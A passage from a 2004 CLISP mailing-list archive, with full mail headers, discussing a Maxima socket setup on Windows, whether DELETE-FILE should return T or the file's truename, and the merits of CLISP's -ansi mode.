[clisp-list] Re: problems with sockets on windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 06:29:11 2004 X-Original-Date: Wed, 18 Feb 2004 09:23:49 -0500 > * James Amundson [2004-02-17 20:36:10 -0600]: > > The same code works with GCL on Linux and Windows. Clisp works under > Linux, but not Windows. Either clisp socket code is broken under > windows, or I am missing something. I don't understand how this can work on linux, but I take your word for it. Nevertheless this code is completely and perfectly wrong. > The way it is supposed to work is this: maxima starts in server mode by > invoking (setup-server 4008 "localhost"). (The code is attached below.) > xmaxima (a tcl application) then connects to the socket on port 4008. > Using clisp under windows, xmaxima never manages to connect to the > socket. socket _server_ is created by PORT:OPEN-SOCKET-SERVER (which calls EXT:SOCKET-SERVER in CLISP). socket stream is created by PORT:SOCKET-ACCEPT (CLISP EXT:SOCKET-ACCEPT) passively or PORT:OPEN-SOCKET (CLISP EXT:SOCKET-CONNECT) actively. > (defun setup-server (port &optional (host "localhost")) > (let* ((sock (open-socket host port))) ^^^^^^^^^^^^^^^^^^^^^^^ replace with (open-socket-server port) > (setq me sock) > #+gcl (setq si::*sigpipe-action* 'si::bye) > (setq *socket-connection* sock) > (setq *standard-input* sock) > (setq *standard-output* sock) > (setq *error-output* sock) > (setq *terminal-io* sock) > (format t "pid=~a~%" (getpid)) > (force-output sock) > (setq *debug-io* sock) > (values) > )) -- Sam Steingold (http://www.podval.org/~sds) running w2k Save the whales, feed the hungry, free the mallocs. From marcoxa@cs.nyu.edu Wed Feb 18 09:12:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtVFB-0002Da-GR for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 09:12:17 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtV3C-0001Z6-SC for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 08:59:55 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id F246719D71 for ; Wed, 18 Feb 2004 12:07:19 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v553) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Just a reminder Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 09:13:12 2004 X-Original-Date: Wed, 18 Feb 2004 12:07:19 -0500 Please vet your To: and Cc: fields before replying to the list. Make sure you are replying only to the list or only to the intended recipients. I keep getting double messages. Thanks Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Wed Feb 18 09:21:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtVNb-0004L4-Ri for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 09:20:59 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtVIp-0001HD-R8 for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 09:16:03 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 0582519D71 for ; Wed, 18 Feb 2004 12:16:01 -0500 (EST) Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09CDEBAC@G8PQD.blf01.telekom.de> Message-Id: <203C3A01-6236-11D8-B5EA-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 09:22:08 2004 X-Original-Date: Wed, 18 Feb 2004 12:16:01 -0500 On Wednesday, Feb 18, 2004, at 07:23 America/New_York, Hoehle, Joerg-Cyril wrote: > Boys, > >>> Where does it say T? From the CLHS, I see that the syntax part says >>> delete-file returns T, but in the description it says: [...true] > > this looks like ultraorthodox to me. I'll suggest they intended to say > true everywhere, as they do in many other places. > Or does somebody have evidence to believe that they specifically did > not want an implementation to return something other than 'T on > delete-file? > > So my vote is: don't be overzealous, don't change the current state. > > I vaguely remember Kent M Pitman's posting in cll about the array nil > issue. IIRC, his opinion was that it was superfluous that people from > CLISP or ACL rushed to implement it, since in his eyes and memory, it > did not follow as a requirement from either the letter or the spirit > of the CLHS. I may be wrong. > > Is there some ANSI-CL compliance testsuite which checks (eq 'T > (delete-file "FOO"))? The issue is whether you have code (other than a an ANSI test suite) doing something like (let ((r (delete-file "foo"))) ... do something over the truename of "foo" ... ) This is not guaranteed to be conformant under, say, CMUML, AND, unlike sockets, multiprocessing and other things, it does fall under ANSI. You can argue that other thing that fall under ANSI have less-than-optimally-specified behavior. But in this case, the pragmatics DELETE-FILE simply implies that the current state of affairs would just create annoyances for people expecting ANSI portable code. Cheers Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From sds@gnu.org Wed Feb 18 12:48:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtYcV-0001iV-BE for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 12:48:35 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtYXd-0001aE-Kw for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 12:43:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1IKhN9f009680 for ; Wed, 18 Feb 2004 15:43:23 -0500 (EST) To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Tue, 17 Feb 2004 13:00:50 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 12:49:07 2004 X-Original-Date: Wed, 18 Feb 2004 15:43:23 -0500 > * Sam Steingold [2004-02-17 13:00:50 -0500]: > > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. > This is not compliant, albeit it offers a nice feature. > > How is this to be fixed? > > 1. just return T and forget the truename > > 2. return T when *ANSI* is T and truename otherwise. implemented. > 3. ignore the ANSI spec and keep the current behavior -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From sds@gnu.org Wed Feb 18 12:55:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtYjY-0003Wq-5E for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 12:55:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtYXK-0002d6-CR for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 12:43:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1IKod9f011670; Wed, 18 Feb 2004 15:50:39 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> (Raymond Toy's message of "Tue, 17 Feb 2004 16:09:56 -0500") References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 12:56:04 2004 X-Original-Date: Wed, 18 Feb 2004 15:50:39 -0500 > * Raymond Toy [2004-02-17 16:09:56 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> The general idea is that the _only_ reason to use -ansi or > Sam> set *ANSI* is to run an ANSI compliance suite. > > Really? Why bother then having -ansi and *ansi*, since you're > purposely not being compliant! note that I also said that "One should set the 6 options (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired." please do not read into my words more than I put there. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From toy@rtp.ericsson.se Wed Feb 18 13:39:40 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtZPw-0003td-0P for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 13:39:40 -0800 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtZL1-0007iJ-K8 for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 13:34:35 -0800 Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i1ILXmfX003701 for ; Wed, 18 Feb 2004 15:33:48 -0600 (CST) Received: from eamrcnt751.exu.ericsson.se ([138.85.133.52]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0); Wed, 18 Feb 2004 15:29:22 -0600 Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id F1M4H093; Wed, 18 Feb 2004 15:33:47 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i1ILXkD11322 for ; Wed, 18 Feb 2004 15:33:47 -0600 (CST) To: clisp-list@lists.sourceforge.net References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Wed, 18 Feb 2004 15:50:39 -0500") Message-ID: <4nn07gcbt2.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 18 Feb 2004 21:29:22.0078 (UTC) FILETIME=[462A4BE0:01C3F666] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 13:40:09 2004 X-Original-Date: Wed, 18 Feb 2004 16:33:45 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2004-02-17 16:09:56 -0500]: >> >>>>>>> "Sam" == Sam Steingold writes: >> Sam> The general idea is that the _only_ reason to use -ansi or Sam> set *ANSI* is to run an ANSI compliance suite. >> >> Really? Why bother then having -ansi and *ansi*, since you're >> purposely not being compliant! Sam> note that I also said that "One should set the 6 options Sam> (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired." Sam> please do not read into my words more than I put there. I don't think I read too much. You said -ansi is only for running an ANSI compliance test. I would think -ansi is for making clisp purport to conform to the ANSI spec. I also fail to see why I would want ansi behavior for this thing but not that thing, except to maintain some backward compatibility with old clisp code. I hope that would eventually be the default, but it's your perogative not to do so. I certainly want to run clisp with -ansi. Ray -- -- -- Ericsson may automatically add a disclaimer. Sorry, it's beyond my control. This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you. E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. From sds@gnu.org Wed Feb 18 14:22:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ata5B-00058A-Ja for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 14:22:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtZst-0003pV-6M for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 14:09:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1IMH19f008296; Wed, 18 Feb 2004 17:17:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nn07gcbt2.fsf@edgedsp4.rtp.ericsson.se> (Raymond Toy's message of "Wed, 18 Feb 2004 16:33:45 -0500") References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> <4nn07gcbt2.fsf@edgedsp4.rtp.ericsson.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 14:23:02 2004 X-Original-Date: Wed, 18 Feb 2004 17:17:01 -0500 > * Raymond Toy [2004-02-18 16:33:45 -0500]: > > I don't think I read too much. You said -ansi is only for running an > ANSI compliance test. I would think -ansi is for making clisp purport > to conform to the ANSI spec. same thing. Please do not underestimate our commitment to ANSI though. > I also fail to see why I would want ansi behavior for this thing but > not that thing, Because some ANSI requirements, e.g., that negative :COUNT is treated as 0, are detrimental to debugging, others prevent you from printing some pathnames readably, &c. ANSI CL spec is a wonderful standard, but it does have some glitches, and it is unlikely that you would want _ALL_ these places interpreted exactly like the majority. You see, if 80% of the people agree on each questionable issue (which is a very strong majority!) then (assuming independence!) the probability that one would agree with the majority on 3 issues is just above 50% and for 5 issues it is less than 33%. This is why it is generally a good idea to think before using "-ansi". (I am pretty sure that most of CLISP users what *PARSE-NAMESTRING-ANSI* and *MERGE-PATHNAMES-ANSI* set to T and the other 4 variables set to NIL, but this is a really boring subject). On the other hand, _thinking_ about something requires an effort which is often better spent elsewhere. This, by the way, reminds me of the POSIXLY_CORRECT environment variable which is respected by some GNU utilities. > I hope that would eventually be the default, but it's your perogative > not to do so. Talk to Bruno about it. He has a strong opinion about this. I don't really care. -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From toy@rtp.ericsson.se Wed Feb 18 15:27:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Atb6k-0006Pl-Sh for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 15:27:58 -0800 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Atb1p-0003gH-JM for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 15:22:53 -0800 Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i1INMmfX025544 for ; Wed, 18 Feb 2004 17:22:48 -0600 (CST) Received: from eamrcnt751.exu.ericsson.se ([138.85.133.52]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0); Wed, 18 Feb 2004 17:18:21 -0600 Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id F1M42JXA; Wed, 18 Feb 2004 17:22:46 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i1INMjD13207 for ; Wed, 18 Feb 2004 17:22:47 -0600 (CST) To: clisp-list@lists.sourceforge.net References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> <4nn07gcbt2.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Wed, 18 Feb 2004 17:17:01 -0500") Message-ID: <4nisi4c6re.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 18 Feb 2004 23:18:21.0296 (UTC) FILETIME=[7FD7C700:01C3F675] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 15:28:03 2004 X-Original-Date: Wed, 18 Feb 2004 18:22:45 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2004-02-18 16:33:45 -0500]: >> >> I don't think I read too much. You said -ansi is only for running an >> ANSI compliance test. I would think -ansi is for making clisp purport >> to conform to the ANSI spec. Sam> same thing. Sam> Please do not underestimate our commitment to ANSI though. Ok. Perhaps I inferred the wrong thing, but it sure seemed like you thought ansi was only good for running the compliance test and nothing else. :-) Sam> On the other hand, _thinking_ about something requires an effort which Sam> is often better spent elsewhere. No problem with that. I, for one, have no desire or interest to figure out how to add NIL arrays or specialized arrays of unsigned-byte 7 to CMUCL. I think there are better things to do. >> I hope that would eventually be the default, but it's your perogative >> not to do so. Sam> Talk to Bruno about it. Sam> He has a strong opinion about this. Sam> I don't really care. The default isn't a big deal, as long as -ansi exists. Ray -- -- -- Ericsson may automatically add a disclaimer. Sorry, it's beyond my control. This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you. E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. From sds@gnu.org Thu Feb 19 12:21:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Atufo-0000XS-Ir for clisp-list@lists.sourceforge.net; Thu, 19 Feb 2004 12:21:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtuaN-0007U5-7y for clisp-list@lists.sourceforge.net; Thu, 19 Feb 2004 12:15:51 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1JKFbkX010543; Thu, 19 Feb 2004 15:15:38 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nisi4c6re.fsf@edgedsp4.rtp.ericsson.se> (Raymond Toy's message of "Wed, 18 Feb 2004 18:22:45 -0500") References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> <4nn07gcbt2.fsf@edgedsp4.rtp.ericsson.se> <4nisi4c6re.fsf@edgedsp4.rtp.ericsson.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 19 12:22:05 2004 X-Original-Date: Thu, 19 Feb 2004 15:15:37 -0500 > Ok. Perhaps I inferred the wrong thing, but it sure seemed like you > thought ansi was only good for running the compliance test and nothing > else. :-) please be careful. "clisp -ansi" differs from "clisp -traditional" very very little. really. it is extremely unlikely that you will notice any difference in day-to-day use, and the traditional mode might even help you catch a random error in your code. -- Sam Steingold (http://www.podval.org/~sds) running w2k The software said it requires Windows 3.1 or better, so I installed Linux. From amundson@users.sourceforge.net Sat Feb 21 10:13:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aubd0-0001Sy-Me for clisp-list@lists.sourceforge.net; Sat, 21 Feb 2004 10:13:26 -0800 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AubMg-0003Uo-Pl for clisp-list@lists.sourceforge.net; Sat, 21 Feb 2004 09:56:34 -0800 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HTG004014UBWM@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Sat, 21 Feb 2004 12:06:29 -0600 (CST) Received: from addiator.nap.wideopenwest.com (d47-69-50-134.nap.wideopenwest.com [69.47.134.50]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HTG008MA4YNPG@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Sat, 21 Feb 2004 12:06:29 -0600 (CST) From: James Amundson In-reply-to: To: clisp-list@lists.sourceforge.net Message-id: <1077386783.3150.6.camel@addiator.nap.wideopenwest.com> Organization: None MIME-version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Content-type: text/plain Content-transfer-encoding: 7BIT References: <1077071769.20997.12.camel@addiator.nap.wideopenwest.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problems with sockets on windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 21 10:14:04 2004 X-Original-Date: Sat, 21 Feb 2004 12:06:24 -0600 On Wed, 2004-02-18 at 08:23, Sam Steingold wrote: > > * James Amundson [2004-02-17 20:36:10 -0600]: > > > > The same code works with GCL on Linux and Windows. Clisp works under > > Linux, but not Windows. Either clisp socket code is broken under > > windows, or I am missing something. OK. I apologize for bother the list. I *was* missing something... > I don't understand how this can work on linux, > but I take your word for it. > > Nevertheless this code is completely and perfectly wrong. I inherited this code. Its most confusing aspect is that it runs a "server" using a socket client, the "client" is connected via a socket server. I should have explained the terminology confusion. > > (defun setup-server (port &optional (host "localhost")) > > (let* ((sock (open-socket host port))) > ^^^^^^^^^^^^^^^^^^^^^^^ replace with > (open-socket-server port) > > > (setq me sock) > > #+gcl (setq si::*sigpipe-action* 'si::bye) > > (setq *socket-connection* sock) > > (setq *standard-input* sock) > > (setq *standard-output* sock) > > (setq *error-output* sock) > > (setq *terminal-io* sock) > > (format t "pid=~a~%" (getpid)) > > (force-output sock) > > (setq *debug-io* sock) > > (values) > > )) What I was missing is the time bomb in the line (setq *error-output* sock) If there is ever an error with the socket, it sends an error message to the socket, which generates an error message, which it sends to the socket, which generates an.... It just turns out that I was getting a perfectly reasonable error that only showed up using 